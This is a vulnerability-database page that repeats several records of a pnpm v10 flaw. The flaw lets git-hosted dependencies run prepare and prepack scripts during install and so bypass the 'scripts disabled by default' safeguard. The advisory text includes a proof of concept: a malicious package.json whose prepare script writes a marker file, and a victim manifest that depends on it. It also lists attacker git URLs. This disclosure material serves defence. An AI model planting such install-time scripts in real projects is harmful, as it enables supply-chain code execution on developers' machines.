CVE-2025-69264 (GCVE-0-2025-69264)

Vulnerability from cvelistv5 – Published: 2026-01-07 21:53 – Updated: 2026-09-14 12:04

Title

pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"

Summary

pnpm is a package manager. Versions 10.0.0 through 10.25 allow git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. This issue is fixed in version 10.26.0.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-01-09 04:55 UTC

CWE

CWE-693 - Protection Mechanism Failure

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/pnpm/pnpm/security/advisories/…	x_refsource_CONFIRM
https://github.com/pnpm/pnpm/commit/73cc63504d9bc…	x_refsource_MISC
https://access.redhat.com/security/cve/CVE-2025-69264	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2427709	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex

Impacted products

3 products

Vendor	Product	Version	CPE status
pnpm	pnpm	Affected: > 10.0.0, < 10.26.0	guessed
Red Hat	Red Hat JBoss Enterprise Application Platform 8	cpe:/a:redhat:jboss_enterprise_application_platform:8
Red Hat	Red Hat JBoss Enterprise Application Platform Expansion Pack	cpe:/a:redhat:jbosseapxp

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              "lang": "en",
              "value": "pnpm is a package manager. Versions 10.0.0 through 10.25 allow git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature \"Dependency lifecycle scripts execution disabled by default\". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. This issue is fixed in version 10.26.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-693",
                  "description": "CWE-693: Protection Mechanism Failure",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-01-07T21:53:09.806Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj"
            },
            {
              "name": "https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5"
            }
          ],
          "source": {
            "advisory": "GHSA-379q-355j-w6rj",
            "discovery": "UNKNOWN"
          },
          "title": "pnpm v10+ Bypass \"Dependency lifecycle scripts execution disabled by default\""
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2025-69264",
        "datePublished": "2026-01-07T21:53:09.806Z",
        "dateReserved": "2025-12-31T01:11:50.649Z",
        "dateUpdated": "2026-09-14T12:04:32.632Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

BREW-PNPM-CVE-2025-69264 (GHSA-379Q-355J-W6RJ)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:28 – Updated: 2026-09-16 10:03 – Source website

Summary

pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"

Details

Severity

8.8 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

URL

Type

	https://security.access.redhat.com/data/csaf/v2/v…	WEB
	https://access.redhat.com/security/cve/CVE-2025-69264	ADVISORY
	https://github.com/CVEProject/cvelistV5/tree/main…	ADVISORY
	https://github.com/pnpm/pnpm/security/advisories/…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2025-69264	ADVISORY
	https://bugzilla.redhat.com/show_bug.cgi?id=2427709	REPORT
	https://github.com/pnpm/pnpm/commit/73cc63504d9bc…	FIX

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "10.26.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pnpm",
        "purl": "pkg:brew/pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "git",
    "upstream_evidence": [
      {
        "ecosystem": "GIT",
        "key": "https://github.com/pnpm/pnpm",
        "name": "https://github.com/pnpm/pnpm",
        "strategy": "git",
        "subject_version": "v12.4.2"
      },
      {
        "ecosystem": "npm",
        "key": "pkg:npm/pnpm@12.4.2",
        "name": "pnpm",
        "strategy": "registry",
        "subject_version": "12.4.2"
      }
    ]
  },
  "details": "pnpm is a package manager. Versions 10.0.0 through 10.25 allow git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature \"Dependency lifecycle scripts execution disabled by default\". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. This issue is fixed in version 10.26.0.",
  "id": "BREW-pnpm-CVE-2025-69264",
  "modified": "2026-09-16T10:03:26Z",
  "published": "2026-08-13T17:28:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-69264.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://access.redhat.com/security/cve/CVE-2025-69264"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/69xxx/CVE-2025-69264.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69264"
    },
    {
      "type": "REPORT",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2427709"
    },
    {
      "type": "FIX",
      "url": "https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm v10+ Bypass \"Dependency lifecycle scripts execution disabled by default\"",
  "upstream": [
    "GHSA-379q-355j-w6rj",
    "CVE-2025-69264"
  ]
}

BREW-PNPM@10-CVE-2025-69264 (GHSA-379Q-355J-W6RJ)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:28 – Updated: 2026-08-13 17:28 – Source website

Summary

pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"

Details

pnpm v10+ Git Dependency Script Execution Bypass

Summary

A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval.

Details

pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default (PR #8897). This is implemented by setting onlyBuiltDependencies = [] when no build policy is configured:

File: pkg-manager/core/src/install/extendInstallOptions.ts (lines 290-291)

if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {
  opts.onlyBuiltDependencies = []
}

This creates an allowlist that blocks all packages from running scripts during the BUILD phase in exec/build-modules/src/index.ts.

However, git-hosted dependencies are processed differently. During the FETCH phase, git packages are prepared using preparePackage():

File: exec/prepare-package/src/index.ts (lines 28-57)

export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {
  // ...
  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies

  const execOpts: RunLifecycleHookOptions = {
    // ...
    rawConfig: omit(['ignore-scripts'], opts.rawConfig),  // Explicitly removes ignore-scripts!
  }

  // Runs npm/pnpm install
  await runLifecycleHook(installScriptName, manifest, execOpts)

  // Runs prepare scripts
  for (const scriptName of PREPUBLISH_SCRIPTS) {  // ['prepublish', 'prepack', 'publish']
    await runLifecycleHook(newScriptName, manifest, execOpts)
  }
}

The ignoreScripts option defaults to false and is completely separate from onlyBuiltDependencies. The onlyBuiltDependencies allowlist is never consulted during the fetch phase.

Affected scripts that execute during fetch: - prepare - prepublish - prepack

Attack vectors: - git+https://github.com/attacker/malicious.git - github:attacker/malicious - gitlab:attacker/malicious - bitbucket:attacker/malicious - git+ssh://git@github.com/attacker/malicious.git - git+file:///path/to/local/repo

PoC

Prerequisites: - pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1) - git

Steps to reproduce:

Extract the attached poc.zip
Run the PoC script: bash cd poc chmod +x run-poc.sh ./run-poc.sh
Verify the marker file was created by the malicious script: bash cat /tmp/pnpm-vuln-poc-marker.txt

Manual reproduction:

Create a malicious package with a prepare script: json { "name": "malicious-pkg", "version": "1.0.0", "scripts": { "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\"" } }
Initialize it as a git repo and commit the files
Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball): json { "dependencies": { "malicious-pkg": "git+file:///path/to/malicious-pkg" } }
Run pnpm install - the prepare script executes without any warning or approval prompt

Impact

Severity: High

Who is impacted: - All pnpm v10+ users - Users who believed they were protected by the v10 "scripts disabled by default" feature - CI/CD pipelines

Attack scenarios: 1. Supply chain attack: An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during pnpm install

What an attacker can do: - Execute arbitrary code with the victim's privileges - Exfiltrate environment variables, secrets, and credentials - Modify source code or inject backdoors - Establish persistence or reverse shells - Access the filesystem and network

Why this bypasses security expectations: - pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default" - Users expect git dependencies to follow the same security model as npm registry packages - There is no warning that git dependencies are treated differently - The onlyBuiltDependencies configuration does not affect git dependencies

Severity

8.8 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

URL

Type

	https://github.com/pnpm/pnpm/security/advisories/…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2025-69264	ADVISORY
	https://github.com/pnpm/pnpm/commit/73cc63504d9bc…	WEB
	https://github.com/pnpm/pnpm	PACKAGE

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "10.26.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pnpm@10",
        "purl": "pkg:brew/pnpm%4010"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.34.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "npm",
        "key": "pkg:npm/pnpm@10.34.5",
        "name": "pnpm",
        "strategy": "registry",
        "subject_version": "10.34.5"
      }
    ]
  },
  "details": "# pnpm v10+ Git Dependency Script Execution Bypass\n\n### Summary\n\nA security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during `pnpm install`, circumventing the v10 security feature \"Dependency lifecycle scripts execution disabled by default\". While pnpm v10 blocks `postinstall` scripts via the `onlyBuiltDependencies` mechanism, git dependencies can still execute `prepare`, `prepublish`, and `prepack` scripts during the fetch phase, enabling remote code execution without user consent or approval.\n\n### Details\n\npnpm v10 introduced a security feature to disable dependency lifecycle scripts by default ([PR #8897](https://github.com/pnpm/pnpm/pull/8897)). This is implemented by setting `onlyBuiltDependencies = []` when no build policy is configured:\n\n**File:** `pkg-manager/core/src/install/extendInstallOptions.ts` (lines 290-291)\n```typescript\nif (opts.neverBuiltDependencies == null \u0026\u0026 opts.onlyBuiltDependencies == null \u0026\u0026 opts.onlyBuiltDependenciesFile == null) {\n  opts.onlyBuiltDependencies = []\n}\n```\n\nThis creates an allowlist that blocks all packages from running scripts during the **BUILD phase** in `exec/build-modules/src/index.ts`.\n\nHowever, git-hosted dependencies are processed differently. During the **FETCH phase**, git packages are prepared using `preparePackage()`:\n\n**File:** `exec/prepare-package/src/index.ts` (lines 28-57)\n```typescript\nexport async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {\n  // ...\n  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies\n\n  const execOpts: RunLifecycleHookOptions = {\n    // ...\n    rawConfig: omit([\u0027ignore-scripts\u0027], opts.rawConfig),  // Explicitly removes ignore-scripts!\n  }\n\n  // Runs npm/pnpm install\n  await runLifecycleHook(installScriptName, manifest, execOpts)\n\n  // Runs prepare scripts\n  for (const scriptName of PREPUBLISH_SCRIPTS) {  // [\u0027prepublish\u0027, \u0027prepack\u0027, \u0027publish\u0027]\n    await runLifecycleHook(newScriptName, manifest, execOpts)\n  }\n}\n```\n\nThe `ignoreScripts` option defaults to `false` and is completely separate from `onlyBuiltDependencies`. The `onlyBuiltDependencies` allowlist is never consulted during the fetch phase.\n\n**Affected scripts that execute during fetch:**\n- `prepare`\n- `prepublish`\n- `prepack`\n\n**Attack vectors:**\n- `git+https://github.com/attacker/malicious.git`\n- `github:attacker/malicious`\n- `gitlab:attacker/malicious`\n- `bitbucket:attacker/malicious`\n- `git+ssh://git@github.com/attacker/malicious.git`\n- `git+file:///path/to/local/repo`\n\n### PoC\n\n**Prerequisites:**\n- pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1)\n- git\n\n**Steps to reproduce:**\n\n1. Extract the attached [poc.zip](https://github.com/user-attachments/files/23797816/poc.zip)\n\n2. Run the PoC script:\n   ```bash\n   cd poc\n   chmod +x run-poc.sh\n   ./run-poc.sh\n   ```\n\n3. Verify the marker file was created by the malicious script:\n   ```bash\n   cat /tmp/pnpm-vuln-poc-marker.txt\n   ```\n\n**Manual reproduction:**\n\n1. Create a malicious package with a `prepare` script:\n   ```json\n   {\n     \"name\": \"malicious-pkg\",\n     \"version\": \"1.0.0\",\n     \"scripts\": {\n       \"prepare\": \"node -e \\\"require(\u0027fs\u0027).writeFileSync(\u0027/tmp/pwned.txt\u0027, \u0027RCE!\u0027)\\\"\"\n     }\n   }\n   ```\n\n2. Initialize it as a git repo and commit the files\n\n3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):\n   ```json\n   {\n     \"dependencies\": {\n       \"malicious-pkg\": \"git+file:///path/to/malicious-pkg\"\n     }\n   }\n   ```\n\n4. Run `pnpm install` - the prepare script executes without any warning or approval prompt\n\n### Impact\n\n**Severity: High**\n\n**Who is impacted:**\n- All pnpm v10+ users\n- Users who believed they were protected by the v10 \"scripts disabled by default\" feature\n- CI/CD pipelines\n\n**Attack scenarios:**\n1. **Supply chain attack:** An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during `pnpm install`\n\n**What an attacker can do:**\n- Execute arbitrary code with the victim\u0027s privileges\n- Exfiltrate environment variables, secrets, and credentials\n- Modify source code or inject backdoors\n- Establish persistence or reverse shells\n- Access the filesystem and network\n\n**Why this bypasses security expectations:**\n- pnpm v10 changelog explicitly states \"Lifecycle scripts of dependencies are not executed during installation by default\"\n- Users expect git dependencies to follow the same security model as npm registry packages\n- There is no warning that git dependencies are treated differently\n- The `onlyBuiltDependencies` configuration does not affect git dependencies",
  "id": "BREW-pnpm@10-CVE-2025-69264",
  "modified": "2026-08-13T17:28:25Z",
  "published": "2026-08-13T17:28:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69264"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm v10+ Bypass \"Dependency lifecycle scripts execution disabled by default\"",
  "upstream": [
    "GHSA-379q-355j-w6rj",
    "CVE-2025-69264"
  ]
}

FKIE_CVE-2025-69264

Vulnerability from fkie_nvd - Published: 2026-01-07 22:15 - Updated: 2026-07-15 02:17

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5	Patch
security-advisories@github.com	https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj	Exploit, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2025-69264
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2427709
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-69264.json

Impacted products

	Vendor	Product	Version
	pnpm	pnpm	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "pnpm",
          "vendor": "pnpm",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e 10.0.0, \u003c 10.26.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:jboss_enterprise_application_platform:8"
          ],
          "defaultStatus": "unaffected",
          "packageName": "org.keycloak-keycloak-parent",
          "product": "Red Hat JBoss Enterprise Application Platform 8",
          "vendor": "Red Hat"
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:jbosseapxp"
          ],
          "defaultStatus": "unaffected",
          "packageName": "org.keycloak-keycloak-parent",
          "product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
          "vendor": "Red Hat"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:*:node.js:*",
              "matchCriteriaId": "E03C989D-E8F7-41BD-B0B9-EEA0509801B8",
              "versionEndExcluding": "10.26.0",
              "versionStartIncluding": "10.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "pnpm is a package manager. Versions 10.0.0 through 10.25 allow git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature \"Dependency lifecycle scripts execution disabled by default\". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. This issue is fixed in version 10.26.0."
    }
  ],
  "id": "CVE-2025-69264",
  "lastModified": "2026-07-15T02:17:51.720",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-69264",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-01-09T04:55:29.582483Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-01-07T22:15:43.890",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2025-69264"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2427709"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-69264.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-693"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-693"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-379Q-355J-W6RJ

Vulnerability from github – Published: 2026-01-07 19:07 – Updated: 2026-01-08 20:05

Summary

pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"

Details

pnpm v10+ Git Dependency Script Execution Bypass

Summary

Details

pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default (PR #8897). This is implemented by setting onlyBuiltDependencies = [] when no build policy is configured:

File: pkg-manager/core/src/install/extendInstallOptions.ts (lines 290-291)

if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {
  opts.onlyBuiltDependencies = []
}

This creates an allowlist that blocks all packages from running scripts during the BUILD phase in exec/build-modules/src/index.ts.

However, git-hosted dependencies are processed differently. During the FETCH phase, git packages are prepared using preparePackage():

File: exec/prepare-package/src/index.ts (lines 28-57)

export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {
  // ...
  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies

  const execOpts: RunLifecycleHookOptions = {
    // ...
    rawConfig: omit(['ignore-scripts'], opts.rawConfig),  // Explicitly removes ignore-scripts!
  }

  // Runs npm/pnpm install
  await runLifecycleHook(installScriptName, manifest, execOpts)

  // Runs prepare scripts
  for (const scriptName of PREPUBLISH_SCRIPTS) {  // ['prepublish', 'prepack', 'publish']
    await runLifecycleHook(newScriptName, manifest, execOpts)
  }
}

The ignoreScripts option defaults to false and is completely separate from onlyBuiltDependencies. The onlyBuiltDependencies allowlist is never consulted during the fetch phase.

Affected scripts that execute during fetch: - prepare - prepublish - prepack

PoC

Prerequisites: - pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1) - git

Steps to reproduce:

Extract the attached poc.zip
Run the PoC script: bash cd poc chmod +x run-poc.sh ./run-poc.sh
Verify the marker file was created by the malicious script: bash cat /tmp/pnpm-vuln-poc-marker.txt

Manual reproduction:

Create a malicious package with a prepare script: json { "name": "malicious-pkg", "version": "1.0.0", "scripts": { "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\"" } }
Initialize it as a git repo and commit the files
Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball): json { "dependencies": { "malicious-pkg": "git+file:///path/to/malicious-pkg" } }
Run pnpm install - the prepare script executes without any warning or approval prompt

Impact

Severity: High

Who is impacted: - All pnpm v10+ users - Users who believed they were protected by the v10 "scripts disabled by default" feature - CI/CD pipelines

Attack scenarios: 1. Supply chain attack: An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during pnpm install

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-07T19:07:43Z",
    "nvd_published_at": "2026-01-07T22:15:43Z",
    "severity": "HIGH"
  },
  "details": "# pnpm v10+ Git Dependency Script Execution Bypass\n\n### Summary\n\nA security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during `pnpm install`, circumventing the v10 security feature \"Dependency lifecycle scripts execution disabled by default\". While pnpm v10 blocks `postinstall` scripts via the `onlyBuiltDependencies` mechanism, git dependencies can still execute `prepare`, `prepublish`, and `prepack` scripts during the fetch phase, enabling remote code execution without user consent or approval.\n\n### Details\n\npnpm v10 introduced a security feature to disable dependency lifecycle scripts by default ([PR #8897](https://github.com/pnpm/pnpm/pull/8897)). This is implemented by setting `onlyBuiltDependencies = []` when no build policy is configured:\n\n**File:** `pkg-manager/core/src/install/extendInstallOptions.ts` (lines 290-291)\n```typescript\nif (opts.neverBuiltDependencies == null \u0026\u0026 opts.onlyBuiltDependencies == null \u0026\u0026 opts.onlyBuiltDependenciesFile == null) {\n  opts.onlyBuiltDependencies = []\n}\n```\n\nThis creates an allowlist that blocks all packages from running scripts during the **BUILD phase** in `exec/build-modules/src/index.ts`.\n\nHowever, git-hosted dependencies are processed differently. During the **FETCH phase**, git packages are prepared using `preparePackage()`:\n\n**File:** `exec/prepare-package/src/index.ts` (lines 28-57)\n```typescript\nexport async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {\n  // ...\n  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies\n\n  const execOpts: RunLifecycleHookOptions = {\n    // ...\n    rawConfig: omit([\u0027ignore-scripts\u0027], opts.rawConfig),  // Explicitly removes ignore-scripts!\n  }\n\n  // Runs npm/pnpm install\n  await runLifecycleHook(installScriptName, manifest, execOpts)\n\n  // Runs prepare scripts\n  for (const scriptName of PREPUBLISH_SCRIPTS) {  // [\u0027prepublish\u0027, \u0027prepack\u0027, \u0027publish\u0027]\n    await runLifecycleHook(newScriptName, manifest, execOpts)\n  }\n}\n```\n\nThe 